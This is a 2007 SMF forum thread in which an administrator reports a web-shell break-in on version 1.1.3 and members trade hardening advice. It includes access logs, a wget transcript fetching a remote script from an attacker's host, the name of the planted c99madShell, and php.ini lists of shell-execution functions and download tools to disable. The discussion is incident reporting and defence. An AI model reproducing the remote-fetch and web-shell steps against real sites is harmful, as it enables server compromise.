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December 07, 2021, 08:46:26 AM


Want to get involved in developing SMF, then why not lend a hand on our github!

Possible *major* SMF exploit in the wild, going back years!

Started by be_cool, September 29, 2007, 10:17:19 AM

Previous topic - Next topic


Check here...
http://www.devside.net/blog/smf-exploit-like-phpbb-hack [nofollow]

Then check your Apache error logs for any wget like blocks.

This particular break-in had the effect of causing the preview feature of SMF to get stuck on 'fetching preview...' unless JavaScript was turned off.

I see many others with similar problems and unexplained behavior in the forums, and the search turns up similar issues going back some time.



Did that. Still, looking into it further, this is possibly done with simple POST data. Everyone is at risk.
This is how this attacker found me, from my logs...
Came from Google with search string "powered+by+smf+1.1.3". Check your logs.

青山 素子

Do you allow attachments? Are the attachments set to use an encrypted name? What platform is the server on?

There are many ways for the javascript that includes preview functionality to break, linking it exclusively to this problem is overreaching.
Director, Simple Machines

Note: Unless otherwise stated, my posts are not representative of any official position or opinion of Simple Machines.


It's not overreaching at all, I've gone over the logs quite a bit. This attack was managed from two IPs. One to install it. Another to manage it.

The preview feature broke the same time as the hack. The attacking script probably edited something here and there.

c99madShell was installed as Themes\readme.php

I don't have any mods installed, this happened under SMF 1.1.3, and while the attachment option is there, I never set the upload dir or permissions...
"An Error Has Occurred!
Cannot access attachments upload path!"

Quote - - [26/Sep/2007:09:48:07 -0400] "GET /index.php?action=register HTTP/1.1" 200 5961 "http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all& [nofollow]
q=+%22powered+by+smf+1.1.3%22+site%3Anet&btnG=Search" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv: Gecko/20070914 Firefox/"
...GET junk... - - [26/Sep/2007:09:57:07 -0400] "POST //index.php?action=login2 HTTP/1.1" 302 851 "-" "Mozilla/4.0 (compatible; Windows 5.1)" - - [26/Sep/2007:09:57:09 -0400] "POST /index.php?action=post2; HTTP/1.1" 200 375 "-" "Mozilla/4.0 (compatible; Windows 5.1)" - - [26/Sep/2007:09:57:11 -0400] "POST /index.php?action=post2; HTTP/1.1" 200 1527 "-" "Mozilla/4.0 (compatible; Windows 5.1)" - - [26/Sep/2007:09:57:23 -0400] "POST /index.php?action=post2; HTTP/1.1" 200 307 "-" "Mozilla/4.0 (compatible; Windows 5.1)"
...As you can see by the timeline, the last POST above did this...
--09:57:23--  http://kotzilla.jino-net.ru/include.txt [nofollow]
           => `include.txt'
Resolving kotzilla.jino-net.ru [nofollow]...
Connecting to kotzilla.jino-net.ru [nofollow]||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 44,348 (43K) [text/plain]

    0K .......... .......... .......... .......... ...       100%   69.60 KB/s

09:57:25 (69.60 KB/s) - `include.txt' saved [44348/44348]

Quote - - [26/Sep/2007:09:57:38 -0400] "GET /Themes/readme.php HTTP/1.1" 200 4374 "-" "Opera/9.21 (Windows NT 5.1; U; ru)" - - [26/Sep/2007:09:58:00 -0400] "POST /Themes/readme.php HTTP/1.1" 200 3501 "http://forums.devside.net/Themes/readme.php [nofollow]" "Opera/9.21 (Windows NT 5.1; U; ru)"

Just trying to help others out, as this will happen to you tomorrow.


This just gets better and better. I'm not sure I caught this in time to not get banned in google, etc. Its only been a few days, but that is enough.

The reason for the 'fetching preview...' error, and probably the reason for all the other unexplained error msgs people are getting, is index.php is being modified with this...

<font style="position: absolute;overflow: hidden;height: 0;width: 0">
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青山 素子

There were a few security fixes in 1.1.4, one of them might be related to your problem. We have been unaware of them being used in the wild, but one of our developers might be able to determine more once they go through the security report.
Director, Simple Machines

Note: Unless otherwise stated, my posts are not representative of any official position or opinion of Simple Machines.


Lets hope so. The only thing I see relevant under the changelog is this...
! Some input values didn't get escaped properly - reported by Michael Brooks. (ManageMembergroups.php, PersonalMessages.php, Post.php, Profile.php, QueryString.php, Search.php, Subs-Boards.php, Subs.php)

But its a wild guess at this point, whatever the problem, it looks like it allows an attacker to download a script just from POSTing some data.

青山 素子

Of course, you should have allow_url_fopen turned off unless there is a specific need for it, then enable only for that script or directory. That will pretty much stop server-side remote inclusion attacks in general.
Director, Simple Machines

Note: Unless otherwise stated, my posts are not representative of any official position or opinion of Simple Machines.


I'm not up and up on the subject, but from what I understand the issue here is with the attacker being able to call 'wget' or something similar from the shell to download a script. Like 'shell_exec(wget(...))', which gets around allow_url_fopen.


The attack itself is a mystery since I do not log POST data in any way, but a fix for this is to disable certain PHP functions...

disable_functions = exec,passthru,shell_exec,system,show_source

This should prevent most scripted attacks, but you still have functions like...

And you can also disable the allow_url_fopen wrapper, just in case...
allow_url_fopen = Off

You might also want to run http://rkhunter.sourceforge.net/ [nofollow] and get this setup...
http://la-samhna.de/samhain/ [nofollow]


I've been playing around with queries on google, trying to locate other "Powered by SMF" forums with the spam keywords inserted, and it looks like there is a bunch of them.

Here is a couple.


[I've put it in code so you guys are not linking to spam sites]

Just look at the source of the page, at the very bottom it will have spam links inserted.


Most, if not all of the 'fetching preview' problems come from people modifying files incorrectly, or breaking javascript by inserting their own for ads or whatever the case may be.
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青山 素子

I checked the six SMF forums (4 I admin, 2 I'm a member) that I keep an eye on, and none of them have been affected in this way (despite at least two running an old version for a bit longer than they should have).
Director, Simple Machines

Note: Unless otherwise stated, my posts are not representative of any official position or opinion of Simple Machines.


The attacker found me via google query...
"Powered by SMF 1.1.3" site:net
...a few days after the release of 1.1.4.

So I am thinking that this was fixed with 1.1.4.

I'm also suspecting he/she used shell_exec(wget ...) to d/l the web shell that was used to edit index.php and do other stuff.

I run my SMF forum on a VPS that I administer myself and did not have any PHP functions disabled under php.ini, unlike most hosts that probably do disable the above mentioned functions().

I have not looked into it further, but I'm pretty sure the preview feature was broken by the inserted hidden spam links.

I see now that I was jumping the gun by suggesting that there was a strong correlation between this hack and the problems some users reported.

Though unless this attack is specific to v1.1.3, chances are the previous versions are susceptible to this also that run on a host that do not have the mentioned php functions disabled.

青山 素子

September 30, 2007, 05:01:35 PM #15 Last Edit: September 30, 2007, 05:08:25 PM by Motoko-chan
Quote from: be_cool on September 30, 2007, 03:22:56 PM
Though unless this attack is specific to v1.1.3, chances are the previous versions are susceptible to this also that run on a host that do not have the mentioned php functions disabled.

Asa far as I know, we have not looked at all the releases we have put out in the past.

Regardless, there is a reason we emphasize keeping updated so heavily. It is much harder to update to 1.1.4 when you are still on one of the 1.1 RC releases. Likewise for the 1.0 line as well. It might cause a little pain now, but being able to keep up with the latest fixes is much more important, especially with the security fixes added since 1.1 RC3.
Director, Simple Machines

Note: Unless otherwise stated, my posts are not representative of any official position or opinion of Simple Machines.


be_cool, thanks for making this report. It gives us all some advance warning.

Quote from: be_cool on September 29, 2007, 06:08:22 PM
...a fix for this is to disable certain PHP functions...

disable_functions = exec,passthru,shell_exec,system,show_source

This should prevent most scripted attacks, but you still have functions like...

Except for SMF, I use only very basic PHP commands on my site, and so could disable quite a few without breaking anything. I did automated searches of the SMF 1.1.4 code to try to discover which functions could safely be disabled without breaking SMF's functionality. 

Of the functions you mentioned, shell_exec and ini_set appear to be used, so they probably shouldn't be disabled.

I wound up with this tentative line for php.ini. To all the functions you mentioned, I added some more.

disable_functions = exec,passthru,system,show_source,proc_open,proc_close,popen,pclose,curl_exec,parse_ini_file,dl

This is not tested at all as of this moment, and I'm a beginner at PHP (that's a warning about the validity of this fn list). If anyone sees that something in the line will break SMF, please say so.

The webhost I'm at doesn't allow the use of wget. That's one protection.

Anyone who hosts from their own PC could (?) move the wget executable to a directory that isn't in the search path so it can only be run by someone who knows exactly where it is.

青山 素子

October 01, 2007, 02:24:24 AM #17 Last Edit: October 01, 2007, 02:26:10 AM by Motoko-chan
Quote from: SteveWh on October 01, 2007, 02:10:23 AM
Of the functions you mentioned, shell_exec and ini_set appear to be used, so they probably shouldn't be disabled.

I believe we only use shell_exec for DNS lookups. If you disable hostname lookups, you should be okay disabling that function as well. Of course, I haven't studied the code all that closely lately, so there might be something else using it as well.

Quote from: SteveWh on October 01, 2007, 02:10:23 AM
The webhost I'm at doesn't allow the use of wget. That's one protection.

Anyone who hosts from their own PC could (?) move the wget executable to a directory that isn't in the search path so it can only be run by someone who knows exactly where it is.

Don't forget curl. It is designed to be easier to program, anyway. Heck, libcurl can even be in PHP if enabled (and some hosts enable it as some payment gateways use it). There is also lynx, too. If all else fails, if perl is on the system (it almost always is, many system commands need it) that can be used and there is a bonus if LWP is installed. Note that these are just the ways I thought of off the top of my head. Moving executables is pointless when there are so many ways to get around missing one. The best protection in this case is vigilance.
Director, Simple Machines

Note: Unless otherwise stated, my posts are not representative of any official position or opinion of Simple Machines.


Quote from: Motoko-chan on October 01, 2007, 02:24:24 AM
I believe we only use shell_exec for DNS lookups. If you disable hostname lookups, you should be okay disabling that function as well. Of course, I haven't studied the code all that closely lately, so there might be something else using it as well.
You're right. I just checked. Only 3 uses of it, all in one function, host_from_ip($ip).

Revised php.ini line. I tested a variation of this. Browsing through forum pages and in the Admin area produced no errors:

disable_functions = exec,shell_exec,passthru,system,show_source,proc_open,popen,parse_ini_file,dl,

I think I've seen an injection attack script that used ftp to retrieve the remote shell script, so the whole slew of ftp_ commands could be added to the list, too. However, ftp_ functions are used extensively by SMF's install.php and the Package Manager, so you'd have to remember to enable them before using those functions.

Basically, you just have to keep attackers out so they can't get to the "import a remote file" stage of the attack. The first "import a remote script" is often done by injection of a URL in a query string, so allow_url_fopen = Off will usually prevent them from getting to the second stage. Also blocking libwww-perl in .htaccess will help, as it is the most common User-Agent used (actually the only one I've seen used so far).

Once they're in, allow_url_fopen = Off won't prevent them from using the ftp_ functions. (I realized that just now: the Package Manager upgrade from 1.1.3 to 1.1.4 a couple days ago was successful even though allow_url_fopen was Off in php.ini.)

Useful security-related php.ini settings:

register_globals = Off
allow_url_fopen = Off
disable_functions = (as above)
display_errors = Off
display_startup_errors = Off
error_log = /home/{user}/{path}/{filename}
error_reporting = E_ALL
expose_php = Off
log_errors = On


-rwxr-xr-x  1 root root 1174840 Nov 11  2005 /usr/bin/lynx
-rwxr-xr-x  1 root root 200392 Nov  2  2005 /usr/bin/wget
-rwxr-xr-x  1 root root 76252 May  2 17:29 /usr/bin/curl
-rwxr-xr-x  2 root root 12548 Aug 12  2006 /usr/bin/perl
-rwxr-xr-x  2 root root 12548 Aug 12  2006 /usr/bin/perl5.8.5

There is also one called 'links', but I think last I saw that was RH7.3.

PHP runs as the apache child process user. So you could just remove the execute bit for everyone else but root:root with chmod 754. But I'm not sure if that could break something like yum, apt-get, etc.

But then you have scp, ftp, and so many other ways to d/l something...